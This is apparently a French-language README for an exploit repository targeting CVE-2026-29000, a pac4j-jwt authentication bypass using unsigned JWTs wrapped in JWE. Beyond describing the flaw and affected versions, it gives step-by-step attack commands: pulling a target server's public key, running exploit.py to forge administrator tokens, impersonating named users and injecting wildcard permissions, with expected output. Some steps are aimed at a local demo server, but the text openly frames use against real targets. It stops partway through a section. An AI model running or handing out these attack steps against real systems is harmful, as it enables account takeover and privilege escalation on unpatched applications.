Exploit CVE-2026-29000

Contournement de l'authentification JWT dans pac4j-jwt via PlainJWT encapsulé en JWE

Description de la vulnérabilité

CVE-2026-29000 est une vulnérabilité critique de contournement de l'authentification affectant les versions de pac4j-jwt antérieures à 4.5.9, 5.7.9 et 6.3.3. La vulnérabilité permet à des attaquants distants de forger des jetons d'authentification et de contourner la vérification de signature.

Détails techniques

La vulnérabilité existe dans le composant JwtAuthenticator lors du traitement des JWT chiffrés (JWE). Lorsqu'un jeton JWE est reçu :

1. Le serveur déchiffre le JWE à l'aide de sa clé privée RSA
2. Le contenu déchiffré révèle un JWT interne
3. VULNÉRABILITÉ : Le serveur extrait les revendications du JWT interne sans vérifier sa signature
4. Les attaquants peuvent créer un JWE qui encapsule un PlainJWT (algorithme : « none ») avec des revendications arbitraires

Conditions requises pour l'attaque

• Accès à la clé publique RSA du serveur (souvent exposée via le point de terminaison JWKS)
• Capacité à envoyer des jetons forgés à l'application vulnérable

Impact

• Contournement complet de l'authentification : Les attaquants peuvent s'authentifier en tant que n'importe quel utilisateur
• Élévation de privilèges : Peut attribuer des rôles arbitraires, y compris des rôles d'administrateur
• Détournement de session : Peut usurper l'identité d'utilisateurs légitimes sans informations d'identification

Versions affectées

• pac4j-jwt < 4.5.9
• pac4j-jwt < 5.7.9
• pac4j-jwt < 6.3.3

Contenu du dépôt

• exploit.py - Script d'exploitation Python pour générer des jetons malveillants
• vulnerable_server.py - Serveur de démonstration simulant la vulnérabilité
• requirements.txt - Dépendances Python
• README.md - Ce fichier

Installation

Prérequis

• Python 3.8 ou version ultérieure
• Gestionnaire de paquets pip

Configuration

# Cloner le dépôt
git clone https://github.com/RootX111/cve-2026-29000.git
cd cve-2026-29000

# Installer les dépendances
pip3 install -r requirements.txt

Utilisation

Étape 1 : Démarrer le serveur de test vulnérable

python3 vulnerable_server.py

Le serveur va :

• Générer une paire de clés RSA (enregistrée dans server_private.pem et server_public.pem)
• Démarrer sur http://127.0.0.1:5000
• Exposer la clé publique à http://127.0.0.1:5000/public-key

Étape 2 : Obtenir la clé publique de la cible

Dans un scénario d'attaque réel, obtenez la clé publique du serveur cible :

# Télécharger la clé publique depuis le point de terminaison JWKS
curl http://target-server.com/jwks > target_jwks.json

# Ou directement depuis le point de terminaison de la clé publique
curl http://target-server.com/public-key > target_public.pem

Pour le serveur de test :

curl http://127.0.0.1:5000/public-key > server_public.pem

Étape 3 : Générer un jeton malveillant

Utilisez le script d'exploitation pour créer un PlainJWT encapsulé en JWE :

# Utilisation de base - s'authentifier en tant qu'administrateur
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem

# S'authentifier en tant qu'utilisateur spécifique avec plusieurs rôles
python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem

# Ajouter des revendications personnalisées
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
  --claims '{"email":"[email protected]","department":"IT"}'

# Enregistrer le jeton dans un fichier
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
  --output malicious_token.txt

Étape 4 : Tester l'attaque

Test contre le serveur vulnérable

# Définir le jeton malveillant (copier depuis la sortie de exploit.py)
TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..."

# Accéder au point de terminaison public (devrait fonctionner)
curl http://127.0.0.1:5000/api/public

# Accéder au point de terminaison utilisateur avec le jeton malveillant (CONTOURNEMENT !)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user

# Accéder au point de terminaison administrateur avec le jeton malveillant (ÉLÉVATION DE PRIVILÈGES !)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

Sortie attendue du point de terminaison administrateur :

{
  "status": "success",
  "message": "Admin endpoint accessed - RESTRICTED DATA",
  "user": "admin",
  "roles": ["ROLE_ADMIN"],
  "secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}",
  "admin_info": "This is sensitive administrative data"
}

Flux de travail complet de l'attaque

Commandes de test complètes

# 1. Installer les dépendances
pip3 install -r requirements.txt

# 2. Démarrer le serveur vulnérable (dans le terminal 1)
python3 vulnerable_server.py

# 3. Dans un nouveau terminal, obtenir la clé publique
curl http://127.0.0.1:5000/public-key > server_public.pem

# 4. Générer un jeton administrateur malveillant
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt

# 5. Extraire le jeton dans une variable
TOKEN=$(cat token.txt)

# 6. Tester le point de terminaison public (référence - aucune authentification requise)
curl http://127.0.0.1:5000/api/public

# 7. Tester le point de terminaison utilisateur (devrait réussir avec notre jeton malveillant)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user

# 8. Tester le point de terminaison administrateur (SUCCÈS DE L'EXPLOIT - devrait accéder aux données restreintes)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

# 9. Vérifier que la réponse contient le drapeau
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}'

Scénarios d'attaque avancés

Scénario 1 : Usurper l'identité d'un utilisateur spécifique

python3 exploit.py --subject [email protected] --roles ROLE_USER --public-key server_public.pem

Scénario 2 : Élever les privilèges jusqu'à administrateur

python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem

Scénario 3 : Injection de revendications personnalisées

python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \
  --claims '{"email":"[email protected]","isVerified":true,"permissions":["*"]}'

Options du script d'exploitation

usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY]
                  [--claims CLAIMS] [--generate-keypair] [--output OUTPUT]

CVE-2026-29000: Generate malicious JWE-wrapped PlainJWT tokens

options:
  -h, --help            show this help message and exit
  --subject SUBJECT, -s SUBJECT
                        Subject (username) to impersonate
  --roles ROLES, -r ROLES
                        Comma-separated list of roles (e.g., ROLE_ADMIN,ROLE_USER)
  --public-key PUBLIC_KEY, -k PUBLIC_KEY
                        Path to RSA public key PEM file
  --claims CLAIMS, -c CLAIMS
                        Additional claims as JSON string
  --generate-keypair, -g
                        Generate a test RSA keypair and save to files
  --output OUTPUT, -o OUTPUT
                        Output file for the generated token

Comment fonctionne la vulnérabilité

Flux JWT normal (sécurisé)

1. Le client envoie un JWT avec signature
2. Le serveur vérifie la signature avec la clé publique
3. Si valide, extrait les revendications
4. Accorde l'accès en fonction des revendications

Flux vulnérable (CVE-2026-29000)